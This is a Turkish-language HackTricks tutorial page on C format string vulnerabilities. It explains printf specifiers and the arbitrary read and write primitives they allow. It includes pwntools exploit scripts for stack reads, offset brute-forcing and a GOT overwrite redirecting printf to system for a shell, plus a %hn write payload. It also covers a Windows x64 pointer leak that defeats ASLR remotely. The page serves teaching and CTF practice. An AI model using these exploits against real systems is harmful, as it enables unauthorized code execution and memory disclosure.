# Format Strings

{{#include ../../banners/hacktricks-training.md}}


## Temel Bilgiler

C'de **`printf`** bir stringi **yazdırmak** için kullanılabilen bir fonksiyondur. Bu fonksiyonun beklediği **ilk parametre**, **format belirleyicileriyle birlikte ham metindir**. Beklenen **izleyen parametreler** ise ham metindeki **format belirleyicilerini** **yerine koymak için** kullanılacak **değerlere** karşılık gelir.

Diğer savunmasız fonksiyonlar **`sprintf()`** ve **`fprintf()`**'dir.

Zafiyet, bu fonksiyona **saldırgan tarafından oluşturulmuş bir metnin ilk argüman olarak verilmesi** durumunda ortaya çıkar. Saldırgan, **printf format string** yeteneklerini kötüye kullanarak özel bir girdi oluşturabilecek ve böylece herhangi bir adresten **herhangi bir veriyi okumak ve yazmak (okunabilir/yazılabilir)** imkanına sahip olacaktır. Bu yolla **rastgele kod çalıştırma** mümkün hale gelir.

#### Format belirleyicileri:
```bash
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
```
**Örnekler:**

- Zafiyetli örnek:
```c
char buffer[30];
gets(buffer);  // Dangerous: takes user input without restrictions.
printf(buffer);  // If buffer contains "%x", it reads from the stack.
```
- Normal Kullanım:
```c
int value = 1205;
printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
```
- Eksik Argümanlarla:
```c
printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.
```
- fprintf zafiyeti:
```c
#include <stdio.h>

int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}
```
### **İşaretçilere Erişim**

Biçim **`%<n>$x`**, burada `n` bir sayı olup, printf'in stack'ten n. parametreyi seçmesini sağlar. Yani stack'ten 4. parametreyi printf ile okumak istiyorsanız şu şekilde yapabilirsiniz:
```c
printf("%x %x %x %x")
```
ve birinci ile dördüncü parametreyi okurdunuz.

Ya da şunu yapabilirdiniz:
```c
printf("%4$x")
```
ve doğrudan dördüncüyü okumak.

Dikkat edin ki saldırgan `printf` **parameter'ını kontrol eder, bu temel olarak demektir ki** onun girdisi `printf` çağrıldığında stack'te olacak; bu da stack'e belirli address'ler yazabileceği anlamına gelir.

> [!CAUTION]
> Bu girdiyi kontrol eden bir saldırgan, stack'e **istediği address'i ekleyebilecek ve `printf`'in bunlara erişmesini sağlayabilecektir**. Bir sonraki bölümde bu davranışın nasıl kullanılacağı açıklanacaktır.

## **Arbitrary Read**

`%n$s` **formatter**'ını kullanarak **`printf`**'in **n pozisyonunda** bulunan **address**'i almasını, onu takip etmesini ve **sanki bir stringmiş gibi yazdırmasını** (0x00 bulunana kadar yazdırır) sağlamak mümkündür. Bu yüzden eğer binary'nin base address'i **`0x8048000`** ise ve kullanıcı girdisinin stack'te 4. pozisyonda başladığını biliyorsak, binary'nin başlangıcını şu şekilde yazdırmak mümkündür:
```python
from pwn import *

p = process('./bin')

payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param

p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
```
> [!CAUTION]
> 0x8048000 adresini input'un başına koyamazsınız çünkü string o adresin sonunda 0x00 ile kesilecektir.

### Find offset

input'unuza olan offset'i bulmak için 4 veya 8 bytes (`0x41414141`) gönderip ardından **`%1$x`** ekleyebilir ve **değeri artırarak** `A's`'ları alana kadar ilerleyebilirsiniz.

<details>

<summary>Brute Force printf offset</summary>
```python
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak

from pwn import *

# Iterate over a range of integers
for i in range(10):
# Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()

# Start a new process of the "chall" binary
p = process("./chall")

# Send the payload to the process
p.sendline(payload)

# Read and store the output of the process
output = p.clean()

# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break

# Close the process
p.close()
```
</details>

### Ne işe yarar

Arbitrary reads şu amaçlarla faydalı olabilir:

- **Dump** bellekteki **binary**'yi çıkarmak
- Belleğin hassas **info**'nun saklandığı belirli bölümlerine erişmek (ör. **canaries**, **encryption keys** veya özel parolalar; örneğin bu [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))

## **Arbitrary Write**

Formatlayıcı **`%<num>$n`** **yazar** stack'teki <num> parametresinin gösterdiği **yazılan byte sayısını** **gösterilen adrese**. Eğer bir saldırgan printf ile istediği kadar karakter yazabiliyorsa, **`%<num>$n`**'in herhangi bir sayıyı herhangi bir adrese yazmasını sağlayabilir.

Neyse ki, 9999 sayısını yazmak için girdiye 9999 tane "A" eklemeye gerek yok; bunun yerine formatlayıcı **`%.<num-write>%<num>$n`** kullanılarak **`<num-write>`** sayısını **`num` pozisyonunun işaret ettiği adrese** yazmak mümkündür.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
Ancak, genellikle `0x08049724` gibi bir adresi yazmak (tek seferde yazılması çok BÜYÜK bir sayı olduğu için), **`$hn`** kullanılır `$n` yerine. Bu, **sadece 2 Byte yazmaya** izin verir. Bu nedenle bu işlem iki kez yapılır: adresin yüksek 2B'si için bir kez ve düşük olanlar için bir kez daha.

Dolayısıyla, bu zafiyet herhangi bir adrese **herhangi bir şeyi yazmaya (arbitrary write)** izin verir.

Bu örnekte amaç, daha sonra çağrılacak olan GOT tablosundaki bir fonksiyonun **adresini** **üzerine yazmak (overwrite)** olacak. Ancak bu, diğer arbitrary write -> exec teknikleriyle de sömürülebilir:

{{#ref}}
../arbitrary-write-2-exec/
{{#endref}}

Kullanıcının argümanlarını alan bir fonksiyonu **overwrite** edip bunu `system` fonksiyonuna **işaret edeceğiz**.\
Bahsedildiği gibi, adresi yazmak genellikle 2 adım gerektirir: önce adresin 2 Byte'ını yazarsınız, sonra diğer 2 Byte'ı. Bunu yapmak için **`$hn`** kullanılır.

- **HOB**, adresin üst 2 byteları için kullanılır
- **LOB**, adresin alt 2 byteları için kullanılır

Daha sonra, format string'in çalışma şekli nedeniyle önce [HOB, LOB] içindeki **küçüğü** yazmanız, sonra diğerini yazmanız gerekir.

Eğer HOB < LOB\
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`

Eğer HOB > LOB\
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`

HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
```bash
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
```
### Pwntools Şablonu

Bu tür bir zafiyet için bir exploit hazırlamak üzere bir **şablon** bulabilirsiniz:


{{#ref}}
format-strings-template.md
{{#endref}}

Ya da [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) adresindeki bu temel örnek:
```python
from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()
```
## Format Strings to BOF

Bir format string açığının write işlemlerini kötüye kullanarak stack üzerindeki adreslere yazmak ve bir buffer overflow türü açığını exploit etmek mümkündür.


## Windows x64: Format-string leak to bypass ASLR (no varargs)

Windows x64'te ilk dört integer/pointer parametre RCX, RDX, R8, R9 register'larında geçirilir. Birçok hatalı call-site'te attacker-controlled string format argument olarak kullanılır fakat hiçbir variadic argument sağlanmaz, örneğin:
```c
// keyData is fully controlled by the client
// _snprintf(dst, len, fmt, ...)
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);
```
Because no varargs are passed, any conversion like "%p", "%x", "%s" will cause the CRT to read the next variadic argument from the appropriate register. With the Microsoft x64 calling convention the first such read for "%p" comes from R9. Whatever transient value is in R9 at the call-site will be printed. In practice this often leaks a stable in-module pointer (e.g., a pointer to a local/global object previously placed in R9 by surrounding code or a callee-saved value), which can be used to recover the module base and defeat ASLR.

Pratik iş akışı:

- Saldırgan-kontrolündeki string'in en başına "%p " gibi zararsız bir format enjekte edin, böylece ilk dönüşüm herhangi bir filtrelemeden önce çalışır.
- Leak edilen pointer'ı yakalayın, o objenin modül içindeki statik offset'ini belirleyin (bir kere symbol'lerle veya yerel bir kopya ile reverse ederek) ve image base'i `leak - known_offset` olarak geri kazanın.
- Bu base'i uzak olarak ROP gadgets ve IAT entries için mutlak adresler hesaplamak üzere yeniden kullanın.

Example (abbreviated python):
```python
from pwn import remote

# Send an input that the vulnerable code will pass as the "format"
fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-"  # leading %p leaks R9
io = remote(HOST, 4141)
# ... drive protocol to reach the vulnerable snprintf ...
leaked = int(io.recvline().split()[2], 16)   # e.g. 0x7ff6693d0660
base   = leaked - 0x20660                     # module base = leak - offset
print(hex(leaked), hex(base))
```
Notes:
- Çıkarılacak kesin offset, yerel reversing sırasında bir kez bulunur ve sonra yeniden kullanılır (aynı binary/version).
- Eğer "%p" ilk denemede geçerli bir pointer yazdırmıyorsa, diğer specifier'ları ("%llx", "%s") veya birden fazla conversion ("%p %p %p") deneyerek diğer argument registers/stack'i örnekleyin.
- Bu pattern, format string onları istediğinde olmayan varargs'ları registers'tan çeken Windows x64 calling convention ve printf-family implementasyonlarına özgüdür.

Bu teknik, ASLR ile derlenmiş ve bariz memory disclosure primitives olmayan Windows services üzerinde ROP'u bootstrap etmek için son derece kullanışlıdır.

## Diğer Örnekler & Referanslar

- [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
- [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
- 32 bit, no relro, no canary, nx, no pie, basic use of format strings to leak the flag from the stack (no need to alter the execution flow)
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win)
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
- 32 bit, relro, no canary, nx, no pie, format string to write an address inside main in `.fini_array` (so the flow loops back 1 more time) and write the address to `system` in the GOT table pointing to `strlen`. When the flow goes back to main, `strlen` is executed with user input and pointing to `system`, it will execute the passed commands.


## Referanslar

- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
- [x64 calling convention (MSVC)](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention)

{{#include ../../banners/hacktricks-training.md}}